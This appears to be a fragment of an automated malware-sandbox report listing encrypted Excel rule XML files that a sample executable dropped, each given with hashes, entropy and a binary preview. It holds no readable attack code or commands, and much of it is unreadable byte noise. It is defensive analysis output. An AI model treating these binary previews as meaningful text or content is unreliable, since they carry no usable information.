:.9J.1..3.s....n?}.Y...@...Ex....M..zu..~.;0...\|...hG..`@...N....y..{.5...Y..B%........F&v.~..v.[~X+..I.'`BNv...T....h..*6..o. ....~..X.!.bHs.P...`..8........g:.......f...F.a.v.../.....,.;.H......1G...f.Q...P..>...hO4]..0...KG.R.L.d.,j.G.P..t/b?..j.{....[....~...K...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.795263459380982
Encrypted:	false
SSDEEP:	24:yOf0vCDvksFz9jUnA2ok/YwyCHhK6Ikrp7gCzh26Pdj3g82JAappp5Ji15mObD:GKDvksBh2of5N657S65Q826ap5g5JD
MD5:	12EBF3C778726480EBDC569C868A9B29
SHA1:	2ED2AEEE2A31D4F0890B1E9F1F432F3C4944CF00
SHA-256:	6435E957C24954308598F6B8B3BDEA4168C9BE5E97F2702D129B2D8DA2716A23
SHA-512:	827F8DBEEDF3CCA989737CFEBA7AD0C272A00479DBE1B30CD34CB4D46876BBBC792891442C2C423799F22FFE283AC15582FB69FAE2D5B1DB8CABDEF042869A27
Malicious:	false
Preview:	<?xmlw........"gC...P,U.#..i.!.....4...C"....,.....pkZ..6..nH..1...$.....H.(B]..-..b#.....\...Il..?..\w..... s.W`....4.8F......d4..=w.^.}.......l.2....l...../[.......Q#.o..{ %.oS.E....S...K>...u\|FW......5...t....2.T3_.3...w3pC....2.hh`........&.y...<.s.r(.%..v..`..I.q..;~FF.Z....3..x%...y.i.(.......f.g..T)...W.1...".d...l./..^ ..nT.T......p.Y...^N\.%==.qA.R....eN\|....C....e..S......"..wF..CX..B.B.70..U=1..s.v.sI..ltw..6.x.<.V`G@...q...h."...}..H..Fn(G.u.\|..\|.....G......q ..-.AH...4.(M.a C5."x..}r......N/..N..>v. }A8....1V9Q.......;G.4..d./E.v.so...z.cy[..Pmm......C......U.n..D.[.B.;.."..M..M..O....w.....&.......&R..$.\<.u.(\|...S{ZBs.5..?.@gU%h.7.........z.........Z..H.5.xY.....o..CgQ$m+H.N....a.#..0..^...v.b4v........E.......KQ..<Zq..0M...)...{..F.....X.........r^GK.....Au..........Ap9Z.]&.RK.........*....t.............2..%.l.6Nw...~0.Q-....o....&(..;..n...oU>.:nq\|.'%....S...q...........w...+....6.s..F.R...a......r......q\M.....>EA

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.789761504398149
Encrypted:	false
SSDEEP:	24:MEn79XHkapnhrZvcO7uEkMOb5Vi+qU7acWZDHjbTKObD:pnx0ajNvz59E4wjWZDHPTtD
MD5:	7506DAB39BB5479D6C70D986B467F84E
SHA1:	C83969284998ACA1F77639B84A9DB6FC8F73F411
SHA-256:	4FBBAF0932771063E4A9205A1E814FC9199F5689E8BCE55304CA92FE14BB5489
SHA-512:	5E19A4669B1B573E6915F1CCC4E3EF0A6B5204CADBAC505AACBE898821BC2B5FA4A79E77990FC45CAD5AB21251C311429CB7BDA533F7967212D664A00BBD3EE6
Malicious:	false
Preview:	<?xml...@.....K.3....;e...M.]T@..E.......I.T......x.nZ)...f...1q.....Ja...%.:......;..l.,..r.A./f....T.....UBy.d.....y.E..H.W.....S..@h....5....2IPoe.3.Yy.wGcgb?&.I.....B.1.......).h4..g.$.LC.....].h..x...w..g..5.0..+..\|V...7Fd.$e.........A.....).....@..5...1V.A.._$......G.#.-2..7..hz:..U..kt."..i&...0x..&^..vN..J......;..V..K#E..}{.......\A.u..t.ZI..Q.&>l.o3..MQ...K...../...a..fY....4.D.>.nF9.L.@..h...{...T.b...K.........d_{.}..W.....=.d..=.K..1.r...}......?G...PJ..9.m.L.=._.h../].lgB..hA.SY..5..,p%.'...I.t.BgR........cy.R'~.!....}..^w.00.#P...#.....d.vW.hs.f.\K.S4e.4.....%........N..<...dggt.L..v....T+...Q9..oKrP{...t.....4.Fe.1.%....a03.U<..vOE.#..).i..6e.y....t%(..@../....4..6..CZ...x.)>W.n1.F.[..n..\..y.2<..6(}.. {,...eM.]..7T..&-.A..o].o.!V....\.laW.&...m.7...._'.[....".8~....4t@....FK..%\|6...[r.%.....zD.[.*8.~.....-......5US......U>.MkY..1+...!4@...s...i4.W....{.K /.h`-3.9!S..-G..7...ZF.(..II.+.i....2.....&L3..i@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.817346271621397
Encrypted:	false
SSDEEP:	24:oFyVbq52/sHEZ0550odTopiuiIold1MSYOVb+r3dw6yHR5tjluObD:bVbq5OsJopiHIol7MSYC+r3dwpRPjlxD
MD5:	76E47F2DD9A4D006ECAA6B1DBD66DF92
SHA1:	318A5B5AE622B3A44AE207324792D566CBEBD3EA
SHA-256:	592C44D689DD61AEB38D3E5BD5E21C2BB5E7DC9A9903C17D8B10D71F0CC094AC
SHA-512:	91B4E238BE6863908EE3BE37A4957C645DE8DCD887E949F919BD329B92A92E6707B15EC15F6AC640349C0D647A086B19FC42DED8A5DA060C2528C84916A88456
Malicious:	false
Preview:	<?xmli.2w..>...IY2CO...tP.K.V.o..7....pm ._M{>....c!....L.~.."....k..e.....\2.O..dH..Y.o..F..EWzY.kW........NO..$Ix.c...f3CD...3<a..d...\|[D.kj#....}....^...c......\W....A=....3...^B.....\2.....G".a..b...m[].6T.;...\..e.D.C.....$..[..............k....=...L....Kn.6..x+.........u.!...`..h.@o..Jn..l..y`.f.^\|s..+...Na...<..q.._..# ..j8N\.4.H....F.!.t....M...^....N]h.x.!.6...@...a...j'.o..5.....8....blg.'y.....<.!..s.p.h..&.............DzV...G.......xU.....%,h.4].W..}T..5..h.l....aG..2....X.Ji.g...Q8.....X5.k..+hd...`.......QcN0.d.n.x.._\|.tSx)..l.......".n.ZP.(p..a.."...";e..,.^.VW..45.iB..`2).b...o.(..Ds............V.,.`...!;.RK9...U.Rv}.@...;t....YF........s...$..?3E.Ew......uQ...pf...]..r.0....+..E...dX...=..(....@P..A....W?......p....B.oEs,..(}.o(....'.1..a....^.GRP..!He.........+z`j>3....L.D..V...k.XW.\|.#~...Wv1...+a...DH...x....-&G...~>W....j....w;......G.=0. Gj.\|.`..zN.+................^.Ni..c.2mB.\.5..........0V.]..!#<]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.82481817702796
Encrypted:	false
SSDEEP:	24:8xTBIR3YeWUrQ6V7PFy4sarV+Am9d27ShSTraH9K6PVDScZCcj8SoTqe/x2ObD:8CSUt7PYGrVjm9dwSgrPOFScQcjve5ZD
MD5:	D5A8800EAE8A4FE45050076A675637AE
SHA1:	8CD30321D097E65A2A25EF0C7B59E019AD134E84
SHA-256:	8DBB4A8E0E3723178CC8721530D63B7ABF747A607D25A4BBD44A31D0A446E0CD
SHA-512:	36A9F3678E63F4904262F0EB92BDB84E5399C7EB75FBA35F318F68A82FE8AE09CEC7E5ACBACC157E032EAB42FA5429FB8B5E7FCCD05F8654324D26C447A95B35
Malicious:	false
Preview:	<?xml.Y..d....T..z.....s..q.7..W.sI..9...;M.......73.C.....zj......<\|m}...&~..l6..5...r.!{#.....:..-+..o.~....,...I..:.t......r..$.>./.... ..J...A.{.Jv.D...{.n........l.Q1........T...w...8.x...}.x..c....C.vG.Rk....Fr.13..2..t7.m..1;"-..........21-o....Rr...}....Fv$.lJ..Me.(.]...0a..D#.G.....Ks..4...q\$,...%_}W....ql...h....Gah+...?...K%..ZX..n..6..V....>O..q.\|F.$.aW.....3d.U.Q...{{..BYI.}...cC..x.>.24@Fp.L{..W..._......6..;...u.].a7.0kM..s..FU...yjme...u..L7.X......_C.q."J.%..d.46hK"{.D<n}.oQ.B..~.x......Y....K..g.\..>../.(.K....y..N...'&c....u..6".c..H.h1i..B7...L. .......k.=..p.^.hJ.y..8p.....=.Q...h&.U.gj7....rhhs?....4y......C.qf......[.Q..P.W..4......"Jw.&s...i........si.\|.j<.{j.W...U.u+.x....?........y..&T.J.#.YP...&...N.....<N.l.N{LCD.nY.P.$.!...A.KB.eD..]6...4.._.....2..Vn>...q$K.Z ..p.lw..n..oy.c........K./..a.s.....O......+...m....#x.".)!.`.H........z9FE].}...C......[~b...Pnt2H...@...y.7...).:......ly.[_..$..o.9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.782106740696669
Encrypted:	false
SSDEEP:	24:l1+OD2TORrZgd+f3aKu63LFmR7o4X0ejviZi6W7ypObD:l1RDVgUzLF0xz2ED
MD5:	4BEF68B859D7E6BB3E2B67352788A364
SHA1:	B2264CD88D88561CB2C7B99DA2C5BF0B1B1E202D
SHA-256:	840C712D08CE48BBF47699FA052269618D290344F000F97BAC1F98E3679FDDFC
SHA-512:	4A677C7A5DAA51D8A30B9C8F5D46AFD7FAEC47CB4A636C1027C550AB3A816CE9005C7DD326C1D30DACDDABA608910160E0A90AA583ECE76A1B79A00EE0A694B4
Malicious:	false
Preview:	<?xml.=RrK.1c.E......1.......+4c6......lQ.,.8(...Z.)...c....I.QQ.2.1ar.7.....a[T..-\|.GE...:.g...BqU.u..+w...b...8S..lsZ......]..j.<.e.....F.`h!.'L.0.......W...?.....g]S..z..no [-... .....Z0..9X..zk=.O.x.T..s&.;.BgSR........61..U....q.+%.....7.mh.[.....\..)B$...0H...$.T...%n..........;...A..4..-...0/c}.pX9.k8.!.P.O.&...^.F...5_2.a.<.Pd.rXx.V.j4.$i.....+b...1q..........{..:f..\.<.V?j._........Z(...UV.ad.0;I] .....S@&=.BB5.H.....\|^.F..+.d..I...X..e8...'...GGq?.n.c..T8.D.&m.i....G?..t.#[.....j:...."..&!.:..m...........3........H.......0,^.!`..N...C.Y....L..C....E.m8.W#.DEH.......N..B.. zM..4...t5...R..a.v...E_..9_...Tb...:....W3.$.....B..........T.8:.~rfn.x?..3.PI.VV{y..6<..Q...{....}~...D...&q#....$.1.W...Q.}.f.`..1..H}.......8.....1.<{..(.6.}.kXT.T$. X...F).=...;.(..B.....T.....R...........9Z.....6pm.U..._7Ie._A].,cQ.-.......a>Z.;.o^.R....o..E\.q..u\.(}...d...d..S.n$.V...{....E.....Y.G....'...W....... ..D.q!.....e.X...f.b..`....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.730325103663691
Encrypted:	false
SSDEEP:	24:3w/2TbMJkmX1bqFxPxz4e6kE/4JjkrObD:3w/IAJ5FWFhxzwFwJAAD
MD5:	185CBBAD65D4FC44F2E7AF5D93680DE2
SHA1:	93C98A66E7E6BA13B685FBC88B2659E99AE1E2CC
SHA-256:	250671F2347461DD0DACD5D7A6E01CDB125ED2C3031921F733F3D3B67B3024F6
SHA-512:	1876983EAA7025510E108C643D43AA16110264FF47EF77BFDA2748E6FBABB147BBC5B0BFF504787A500A5A7851FE68C206DE902F6BB18F14A53094924BCF2A10
Malicious:	false
Preview:	<?xmlH,i....d..g..R..>P..YX..\|A....vx.H..JN.vmQG.>..j....WJ..6x~p.U..c....;DRz.Q(k.s.g..1.;..?.G@..".<....+...a..V.......u.......=..e;\v..".IZ9.K.o.j{.H=v.....!7..p....A..lL..T.~[La.k.K..".UB....H.L....J.N...i..s.%\...g..k...}d.^.....W...e..ZSOt.e.I....c.NcWPo).(E.....i.:'...._.b.l....`V.1..O8~5.~.U.6B....H..m....7.{.9..K.......+kt....c...m+.m.Fr......[.U...q..UE....j..R..R.y..3.g(3Cs...Kl_MNe......'x.7.........J.....".j..!.]R..$s4B..U9 l...>E.kCRn.r7.S....bK..&Ca...W.tO...M.?.t`...46...2b....o....8..Hn..n.....kX]..Y..IB.F5}n....Q\ai.(L.Y.M..q.^6a.....;.G......_...".X.a....+4.......0.@.?.O@...R..H...s4...[%&....c.$...Y>...._.x.u[i...&..e^.dT.E..~.W..fx.w.9....M.'Rim.&.[MA.p..k...........W.,,.Ms....M..i2g....=..#..~0.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.723223128325873
Encrypted:	false
SSDEEP:	12:Y+bxoNBXQRLNNidNMlOUbR0jJF9e690Feltfbd1mNR6SulPZRt9jAmA/logJ+YB5:Y+do78NNidN6OdjrYygcfhoN0SgN9jRG
MD5:	933C83A3D4B9A5D62134B52407B40D4F
SHA1:	8D494F61FD4443DE5781F0D8BC078CDB9246FE1B
SHA-256:	AC1BD5BF9E28E5F8358DD7608E76A760470AE148F750C9FC37DCAEC98806FA18
SHA-512:	1F5F664068FD1597537CD906ED930E18F51707D2DB933CCA82391824A5527FB903A142A5ECD334E719724144656CE19AB0F50C9CD15667C0B61A8F6A603B9C97
Malicious:	false
Preview:	<?xml..H...Ya..s.L.F-}..?[xw..O.v2..G......^.ly.D.A...>..."..{...P.-..j.%G5=U......`...,.~.,M.\S.<......}..H.E..l...Zpe.....R..`. ...^..n.>..j...v...~.]... ^..../...?.mn.h.._.q....r.....jA...b#.~..H\N.0..m.toH.Hb..o.......4..A.<{.-..S...@..$..F./<\.^.\....C........m<.:'..?.Zt.=...,z..c...J...CAc.;._#.b..<a...55....=..........LE_B.x..~.wW.{s}9.......c......h....@\|.15.C...b...Z...d.0X........M.vC.U..:\..p.>Ro.V..j..8.. 3.,-&W.in.F....H......w_!.s....'.H..\6.o ...w.mpF..q....p.}...H.I.f....>..]....:...K..n.....D8.p%..S. ).Z[.....N.I.'.4lx+O4Z...e..#.Y..`.O.k.. ...,C-1\|b.r..e..M.t.o8..,hY..F;T4).....".....I,.y ..h..p.J......2../5C.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.724406990102218
Encrypted:	false
SSDEEP:	24:ifht9SRDxNfK/X6DKpd9IJuh9O6pQQ5EB/p9A3CFr5aObD:ifht9SRt9GaKX9IoE+EBMivD
MD5:	E4686BC0410EBD4FDC189DC55332C087
SHA1:	8AD7708867132B09EF4471F163E5DF9DE9AF643B
SHA-256:	DAFC3504CC0C00C08403235A97506DF9F3476AFFCD196620819E29EAD85A616F
SHA-512:	4716AC0C60A029957BDCA80785BC99355C72E97568DB986C3F553894A296DBC552F83A3413A3282F60967D8AAD8512153A84FCB9F1EEC5EDA3A0DB4EB7EA45E0
Malicious:	false
Preview:	<?xml1g.....:=....p.wP/I........6../:l1'~..c..G.[...1.6.3....&[9...."71..... ..'.6k.g....OQ....7o..w.d.m.{....0....K....}..9..).{...Dx{B...x.)v..\|4.........;.P..w+......hwJkk..%2N...M..w.}.v......k.:..\...g7..T.zwV'..,I.......&..>..w"@.....9...U...L..o..-...........'.(...h...n.c..~V...Jo.....E4O.y...x....`.s.S~?.62rf.D..bK.`.h,V..E.U.n......=.f...~l.8...G.F)O.l3?...@..O[FEJy...W...&:.y}J.6l...T.*..6R.....B....R.........m..n._...vV..xN8..U..'..A.m_...~.......=.v...4.N;.(.G.f..Ha.!L..\...R...0VN".X._.... .?.VR7....%....A...l...'A......d%.C..f..TRa............h.....Q.\|..re.8T~DR..;NXd.........#Pv.i...........z~..-..)`/......7.8.7..?P.+C...t.....e.....P..X......p...UJj..6.1..1[...u.F.:n..)1.L<R.}.RT.c...;."..r....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.8219039917478215
Encrypted:	false
SSDEEP:	24:Wq9NsllUrgIHyS4eARuzCL5aLOqQY7uczgZuQFNo2zjjt5+uaktHfRmObD:WqUrlIHoeguzCcLTbIo2PpaCHfRJD
MD5:	D6AB2DC7BF3252054CC95A35C2BBF3A9
SHA1:	4F5B93AF82704D1ED9E6B73A36BDFC966F563981
SHA-256:	29623BFD0E248336035FD5F60DD8FD139283E90C1F00FBF1C4CAE9ECBBD48542
SHA-512:	F4184DD978A003E8613E43E6DA4B8F089DA5E7524A37A0F33FC309DAA5C9878029508E21AEE11B90D5D98ACA4540D211C1ABD75C2448C6FE38677A946C9BC35A
Malicious:	false
Preview:	<?xml<...h%..Q.4...K.9_..9..BQ.l..o.4(........ j..d..;.F0r...(.G.._....No...;.).'..E.k."-..@._...x.\|...F.!...C.y..40q)..........:.hZ94...A..b#..=.9It.5...e.}.S.`\|<n..V5...c@.f,...XtXy..V8QI&.tn..V.....v5,.p...!..-..dP'8;P,..z..2........xiM...tF.&o..Zh.\|AT].....{{.Ml.....~/..Y..}Cvg..7.w...`O@.jj.0..0.u[T..n'..J7..[.&.....lL..j.K.>T...Q.k.6...-".7.w...{.......b...s.p;}.1Gj...x..Dl....?{@...T..PN...6....D...d.V......Qh~....A.^Ok(@.....h,.4..q.P.. %w#=......J-....\|EF..v.j&L..$U=.U.j..a..!8....F9..=.c.9]..E6.y..!....x..~..\|.Z,O+....J..S^4Ck.6.4....{.........+.X.......Pr.x-=.......'b........*..v.-+..%.!....\E......B../.0`....-5.q-...gX(.L.dHm.z.8...B..b.$.A..r..J...2.Z1....N.w..7...L....x.<RU,..H....T.{p%......G9......D....[.../.4.X.mQ.Z....c.+r].F>.i..G`M....q.P..Ea.Ayn..."....Z...Xc7.....6..9<...Q?.>..?a\P..>.3O`...y)..p.'"?.f.q2dz..C..+.#g.#. .]l..g.}...{K.[oW..$o>;7].4..E.:z}....(.PE.....'..W.E^.Bw..X.f..yi.....p......E..W..,.lX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.763999208039613
Encrypted:	false
SSDEEP:	12:uK0LuI7NdHe1j5vf3x9mltz9kpCMvTuNEzY1CWsGtDgMblCIUnhchNx9MRsx+wOI:eLuI3QnGpupHTCEkEWBDgUlUaQfaSObD
MD5:	AFEA1D63F23FB536DC4F7C2D947ECF68
SHA1:	1D709D5755AE53CE982DD70B5C6CFA5FD526D5DE
SHA-256:	98C5F75978EFEBDCB0408A9E70A367C6D050D3ACFD172ACBA1D5487241B4BA05
SHA-512:	CD8F8F5AEDA900466FCBDCB7343F2BC88DED3963E10341784BE612FCAC4783A4DDF6B2BDEDBE456BFE9C0DD007E9731321DE0E769DCD9F302DF4AC03DCE18D64
Malicious:	false
Preview:	<?xmlrdU/D...#!...7....}.o.Tk@..:........?A$$G2Cn.V>..X.x2,D.aYXN.5...k...#Nu..K.J....<...[.$..l......J.....,./k..tt..T..3......V.^..(.....=+.BTyU9.....U....Dp..R/.#.j....y[.9.........GP.X..J.lYR.o..\|<G.~..=.bQc..}.$cF.Q......6u.Z.-...>....L9...^J...J...i5.7..".QP..%J\|.WOV........N.\adN).O......9../..DCR......*.q..........R...k{I.X..M...W...$}#.Zpx. .Ky.........H..>.\|.....y.K.....y.o..q..!...\...O....<..$..&..p... .e.....ie....iN.D...~c.E.xJ^...?..a.. ...Q$.h..7yR.2...W.1.Q.g.=...~.K]...>b.^.tM....qnQ.[..$.{3.\.o).a.b+.Sfj.......K..P....%...?......e..o...........7T...V.m.J....4....,w.0.. 7... .E.gp.....d.1..f...?..,?.A1y"..%.....I..TF4F.JP..Lb...aY.Z.I@.OT.s.g..9l..B.P....N...Y.~.V.......>x...a.}.d...A...<.v.,....{..n...?.g........R...i../Iay...R+...l.[f.$..!.a&..)...l..x5....[_Cg../.w.%.V.:.....N....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.758629330790563
Encrypted:	false
SSDEEP:	24:OdrNEc8CNY60rGsFBdu483NUuIpmMDMTVr8AObD:Ot8HJrhDdu483lKGVruD
MD5:	747CBDEDA41FAB2DCC130BE852312577
SHA1:	B7FE1D10CD7BC7E62241125D41FCF9A67D819EE7
SHA-256:	1A7B2B390831AE48500F1FF5D342468A83D8BA33AB424CB59198A21D8EEE1B9C
SHA-512:	31882B135AFC7B0A2CB1560F84D4E16116BC6FF1D84DDA5979656FCD5B0CD2C991A5300D497F26B6CB33476C27C00112C1B2D0278646225B6D76C9AA9C948738
Malicious:	false
Preview:	<?xml..e~.n.5...\|...(..6p.i...l.gr+%X..%my%.....N......Hs.gz....._..d)...:.,..._m:s.G0.....Y...Tx.....Y.n..Mi.S`.N05.D.......1.ks...l.>K.u.pxS...#5.o..\J..e....[x.X.o...v....Lz.IJ..u$....tAw.6..t...~I..v..M.........z.L..H....V G......:.\/..l.M....vx.-I.=..v.2n].K.^A....k..2.!..P5]z2.!...........YI....p..o....w+.MG.ua2..(.....e....)OB.A..%.`U.s.M..m..(pV.2:.eL...w....d...]...........D.H....i...h.............Y..0i~...{}.s.7h........1{.....I....xQ:..P..r7FB=.B..h.^.Y.7.qt\|YAd.!g.K[.. .~tVfl.$.8'7..f..ks.....\|..x...E.`...$.JmGP./.d.M.n.m.....^1w...p=:.r.0n...g.....iS{.....7......:>.........\.~Q.:..E...1..k....z.;..u..Q.........:....?;.4G..o.u.1.-N.u......8..r.r9...,...>.....e..C.......A..._.$.....$..............A..$.C+...7.AA.n.....:6@&..w.Qc=T]'.ccT@.7.Y......).....$.m....\........=.8j........{....c./lc..L.^W.6m..s...:.x.3.=.}Y..B...l.+Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.855627648868536
Encrypted:	false
SSDEEP:	24:m8OIjeMbFqfGz2HhbEZAXYZlELRWWa4Bajh9dpzLuhbmgmNOD9xekZ/n6GObD:DOIjelfG+bEeo74WP9hPL0D9xem6D
MD5:	76B14023C1374185AF9F42968DA7F775
SHA1:	8F98C159E84B3CF5A3D411B6156F1385EFF2A6D3
SHA-256:	780AA13D67874E26DEC193583E35F66DA047D294BFCF58F7FB5132FCA9DF0C74
SHA-512:	366B8B98BD671A28A025FF88D695596B810ADBCEDDB1D3CEF6B651961D4EFF366EB7D969371982C2853B91990B1EF978ECC33AB0C949661188905D56B2308BEC
Malicious:	false
Preview:	<?xml...K.H+.P..M.V..j..I..bz..k..D..&y..5U&....C..>a..}.[q....n.`..D...K..dp&;.Xl......[..q.N..Z...X..=K..Tn.K?.zP+O(j1A.".x.YDZe..........H..@...`.b. _.dD..O.a.>[..a.`./O....e...G....,.b.m......?I..7d]hu2DX..;.#..^..[6.kD.o.d.5e".......M....../h..\|.M...(.../F..>.'.7..IS...R..c...X{~.E!.E...cq.M.f...G.j#.....7OE".mu....-?^2......Q..r..Bt........K ..sg.{.i...=<.>9L..7H.r.iM..(...q.o.-...-.y....)...:....:a...(.E......^ '.....;M21E!.S.+>.4..&?F..O..N..Yr..../_..0I..:.d.m9..".?.....(4...l9\) L,U.\.X.'....M..P....F.dU.......;X....m..; y...J...D..gR./T.P.:x.....w....x.4K..q..[s].Ht......A.Yq..={nS..c../e.XE..v{.b..h.^.).......$.&.ED..}......N...#/.*..f..k.D.L..D?..%pA..T\|..%.u/ly.....wx..W... .'b..C4Lw.p.U%.\.o.P..9.Kh.E&V..KAk.ch.bm....G... SP.s..f.....c.......9.oE99K+....~..y...~.../.e.).p.Z..7...q..a.Y.f.......I....\|&....E.G.......j!.$?..\.e.....o.j.............uM2.Qx.E-H{..p.L..Q3.[./..~.NTt.$.`J...R.4...+....&...."...>...1.h..I..H9...bw....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.866669457946828
Encrypted:	false
SSDEEP:	24:bjiGDP3+k1EO+hz8to/+4IpL7+mB9H0dD956UbjXeI81ZCvDObD:HiGjuk1Aoto/+4IdiGVyZ5hjuI8s4D
MD5:	8F09544F0379A24D75A344BC858D741E
SHA1:	A29AF61F78D429DB4A10A679FD59A4741BBA4238
SHA-256:	2233EA9DD44FE895DA337B7495B109004C24E3A57B1CBC9B3375354C90D18698
SHA-512:	B38D6683BA8E71F488EB6BD0A74D832E3F8BE8C369E5506CABFDBEE364ADA764E59B420ACBE16DC33BE99583104525535FD254DBA893C0DF8F07EB2182E7D05D
Malicious:	false
Preview:	<?xml.[69.am.(.Zy.J{.4 ...y\|....}~.D....+k@..E..H..wT.`B.X+u....th&4...g...^!.F5..2U.\|GX......\|9..............=.{Z..[.../......N.k...kZi..#..m....D..2HLk.-Qp....v..E..k.2..S.._.#[.....nij).9...e..E.]t...r..0..6.....pT..'..m.HY._.OT.........Z.uv........q..4..A.08.p._w..:P.......D(...pe....!.lD._..[.P.....;E.8d.2.+..`....,...8.....RJO....te....N~.C...3.u..H..{...a5.a?....}...<..8cv..f`..k.-f.;.2:.:W...E....S%.p...A........=..Q..r{....{..[~.d.y...5....T.\&.n`d....".D".'.]....x%g.qqF.2Q...4.d..5.Fs....^.>3..$>..3....%..(.Q....`..Z..@s...5....Q..b. ........D=.........\|..........C..lH.S.k/F.=......s{w.y...a.m.W.X..<....e....,.i;nS...v94ti..S.....^.....;...e.6..$..vX......f.U..r...:...8.{OT4....y..p..4z..!~4r.C.c....../`.........S.wA-..j.....w.3.N.%...a@Z....0..:......}z...7.... .......%~........M..u...Gh.";@/...oQ....{C4Kv!.C....)c.qNX.C'..d.`........W...kC.)!7#.a+Z2v.^P..~IZs....T.....*.J...5..K..'$..'....t}.7%M...._0/.d...z.;..3..u.h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842876215021239
Encrypted:	false
SSDEEP:	24:Dw5K5hFPNIBMINHfb9fb/Fw1xZkEtjXJa4hm+wrBlD6mrMYRGVObD:rhFlyNHfvw1xGE9XHhsrDVMYRGaD
MD5:	4E868987DB2ECE1A4FC55DFCA2E378AE
SHA1:	26D8EE3E94119259D05CF212356BC1E2E2A0709D
SHA-256:	0C9AB3408F79B7B735B6A78AFAB4F237AA89BD882AAFDAC53507283A2817DADA
SHA-512:	A88944D9EBBC8BA487E14261BD43F653E3CC2BFD48B3361DE95B9E02836315509225244C9397F88C4678423BB498E7D0EA5FF1F1A5F3709E995641542B0AA778
Malicious:	false
Preview:	<?xml.....Qa..Ih.E~....&.F...K...........J.;..o.O.<..m.....9....2P 7..4d.t$..........0....j..u.............U.LpO.T@.1...#...p&.V..L,Xz...;...........w`+..M.f....(....(..>]..@..R..\......". ].u...Nw...Na...C...`GN:.....U.S.\|(m+.n.0..y....##.......\...W....;.fE.....@5J.&=...^...V.....0-...n..z.!..2.c...n....WJr,..1....)n.^.w...).'..tM......5i.iW..w...J:..h..kh....5...b..+...V..1_..v..H}.z1.o..[b..a...Y\_.+..\".bB..G.+ipTa..8....c^r .Q..........i.v.^.....t.@.... ....xE...F.....PY.`FZ.{.....V:.....P...I.`.......&.4. ....I..Z..j.o.-...{Z.=.;.N.f..o`.nFf^..5..{xa..K.Tu.o....,.....=89X4RZMF....^r.\|.....T.C.....\|.........1.Q..V.....wP.....&.\.J,.v.O..z.+...I..Q...S..'...\|..\|y/.2rrV7...1.I.B/ac.&.<V.8...6.w.=J.c.7.s...J.....u.X.r...Fx(M..X6..W.....p.*v.D-..`,.......7.iOe...)..z.`L.L.Rc.M.\|o85.R"......N.F\......'..z...+...!Uv.9...r..+.w..r...lcB--..6.x..-E.8,......y..J>.e....~c0(m...k[./.v!^..gqASx.xUZ..-.b7.-6...06.C..+. ..9...k......];...$(...[...e.4.6'....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
